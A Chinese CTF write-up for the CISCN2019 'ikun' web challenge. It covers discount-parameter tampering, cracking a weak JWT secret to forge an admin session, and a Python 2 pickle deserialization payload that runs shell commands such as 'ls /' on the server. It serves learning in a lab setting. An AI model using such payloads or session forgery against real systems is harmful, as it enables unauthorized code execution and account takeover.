首页 > 其他分享 >session伪造+pickle反序列化

session伪造+pickle反序列化

时间:2023-10-29 15:34:55浏览次数:33  
标签:jwt flag session import 序列化 pickle 源码

来自

[CISCN2019 华北赛区 Day1 Web2]ikun

小黑子真没有树脂!!!

进去就是坤哥的舞蹈视频,意思就是让我们找到LV6的号然后买了,翻了好几页没找到:

url上有个page参数,直接写个python脚本帮我找:

import requests
import re

# 页面URL和GET参数
base_url = "http://ec000824-34eb-4762-8af6-00f57098348c.node4.buuoj.cn:81/shop"
num = 1
for _ in range(600):
    params = {"page": num}# 将此处替换为您想要请求的具体页面页码

    # 发送请求并获取页面内容
    response = requests.get(base_url, params=params)
    html = response.text

    # 使用正则表达式匹配<img>标签
    pattern = r'<img class="lv" src="/static/img/lv/lv6.png" alt=""/>'
    match = re.search(pattern, html)

    # 检查是否找到匹配项
    if match:
        print(num)
        break
    else:
        num+=1
        continue

直接访问181页,找到lv6账号:

显然我们是买不起的。

随便注册个号,这个时候就要考虑怎样修改账户值了,如果是前端就好办,js一改就有了。

接下来我们f12里面找那里有这个剩余金额数的,能不能改了。

只改html显然没用,应该去源码里改。

但是修改源金额好像不行,那换个思路,去购买页面看看,还真有个action可以利用:

这里直接改discount,不就买上了吗。

也可以直接上抓包改discount:

但抓包的时候看到个jwt,估计还有session伪造。

需要提权。

jwt作用不就来了,直接丢jwt-hack里面梭:

但显然是需要密钥的,不然改不了。

爆密钥也有个工具:

brendan-rius/c-jwt-cracker: JWT brute force cracker written in C (github.com)

密钥是1Kun,工具不好使直接去官网JSON Web 令牌 - jwt.io

 

改完抓包放包:

但是这个一键成为大会员点不动。

查看源码,发现www.zip:

又到了web题的常客源码审计,找到关键源码Admin.py,一眼pickle反序列化:

意思大概就是可以post传参become,然后将接受到的字符串进行反序列化为对象,那我们直接构造payload给它dumps出来。

pickle反序列化初探 - 先知社区 (aliyun.com)

CTF-python pickle反序列化 - sijidou - 博客园 (cnblogs.com)

表单里也有become传参,但是被hidden了,后面f12删了hidden或者抓包传就行。

exp:

 

(注意是python2,本机没装py2怕跟py3混了,虚拟机装的py2,但win7的cmd着实让人难受,复制粘贴还要开快速编辑模式,选定复制按回车....)

补充一下,至于为什么flag在flag.txt并不是空穴来风,借鉴一个博客所说的:

# coding=utf8

import pickle

import urllib

import commands

class payload(object):

  def __reduce__(self):

    return (commands.getoutput,('ls /',))

a = payload()

print urllib.quote(pickle.dumps(a))

#ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.

这里第一个对象form.html被调用,第二个参数返回结果,因为第二个参数res可以回显,所以这里返回的ls /也回显了出来,将结果作为become参数,回显flag位置在flag.txt

剩下的就是换命令内容,然后得到flag。

来自[CISCN2019 华北赛区 Day1 Web2]ikun - 哔哩哔哩 (bilibili.com)

标签:jwt,flag,session,import,序列化,pickle,源码
From: https://www.cnblogs.com/EddieMurphy-blogs/p/17795919.html

相关文章

  • 用友反序列化漏洞综合
    用友NC序列化漏洞综合利用工具分享下载地址https://github.com/wgpsec/YongYouNcTooljava11以上的环境可使用集成了以下漏洞BshServletrcejsInvokerceDeleteServletcc6反序列化DownloadServletcc6反序列化FileReceiveServletcc6反序列化fsDownloadServletc......
  • 2、关于网络中接受的数据如何序列化和反序列化的思考以及实现
    1、背景介绍因工作接触到半导体行业,主要负责EAP相关的东西,其中需要实现SECS/GEM协议,消息协议使用的是SECS-II,其中有一种数据类型是A类型,表示字符串类型。需要将接收到的SECS指令记录在日志中,以及反解析SECS指令。我们知道,网络中接受到的数据都是byte,需要自己根据规......
  • php-SER-libs-main反序列化靶场部分wp
    什么是序列化/反序列化,为什么要进行序列化/反序列化序列化:有时需要把一个对象在网络上传输,为了方便传输,可以把整个对象转化为二进制串,等到达另一端时,再还原为原来的对象,这个过程称之为串行化(也叫序列化)。反序列化:将序列化的结果还原PHP序列化:把对象转化为二进制的字符......
  • python__requests模块的session对象
    *****************************************************************************************************************************************************************************************************************面试时,面试官问我:自动化中,只需要登录一次,就可以跑其......
  • Java反序列化之URLDNS链
    Java反序列化之URLDNS链一、漏洞简介URLDNS链是java原生态的一条利用链,通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制。该链有以下三个特点:不限制jdk版本,使用Java内置类,对第三方依赖没有要求目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞URLD......
  • php反序列化2023/10/28
    题目来源:[第五空间2021]pklovecloud题目代码如下:<?phpinclude'flag.php';classpkshow{functionecho_name(){return"Pkverysafe^.^";}}classacp{protected$cinder;public......
  • 一张图搞懂远程桌面多用户支持软件:RDPWrapper里的single session pre user
    Windows系统实例默认只允许单个用户连接一个远程桌面会话,如果已存在一个远程桌面会话,当另一个远程桌面会话连接时会移除之前的远程桌面会话。但是勾了这个singlesessionpreuser,为每个用户创建一个独立会话。就会出现:可以同一个用户,多个桌面窗口的情况。缺少是:接不上同一帐号......
  • cloudpickle pickle 扩展包
    pickle是python的序列化包,但是默认pickle不能进行lambda的处理,cloudpickle对于pickle进行了一些扩展,可以更好的支持集群节点之间的共享以及计算,同时apachespark的pyspark也集成了此功能,只是是自己fork的完整代码参考使用dump.py importcloudpickle,picklesquaredv2......
  • C#复杂XML反序列化为实体对象两种方式
    目录前言需要操作的Xml数据一、通过是手写的方式去定义Xml的实体对象模型类二、通过VisualStudio自带的生成Xml实体对象模型类3、以下是使用VS自动生成的Xml类验证两个Xml类是否能够反序列化成功C#XML基础入门(XML文件内容增删改查清)C#XmlHelper帮助类操作Xml文档的通用方法汇总.......
  • 反序列化 序列化
    stringjsonStr="{\"name\":\"张三\",\"age\":\"10\","+"\"classroom\":{\"name\":\"1年级1班\",\"desc\":\"描述\"},"+"\......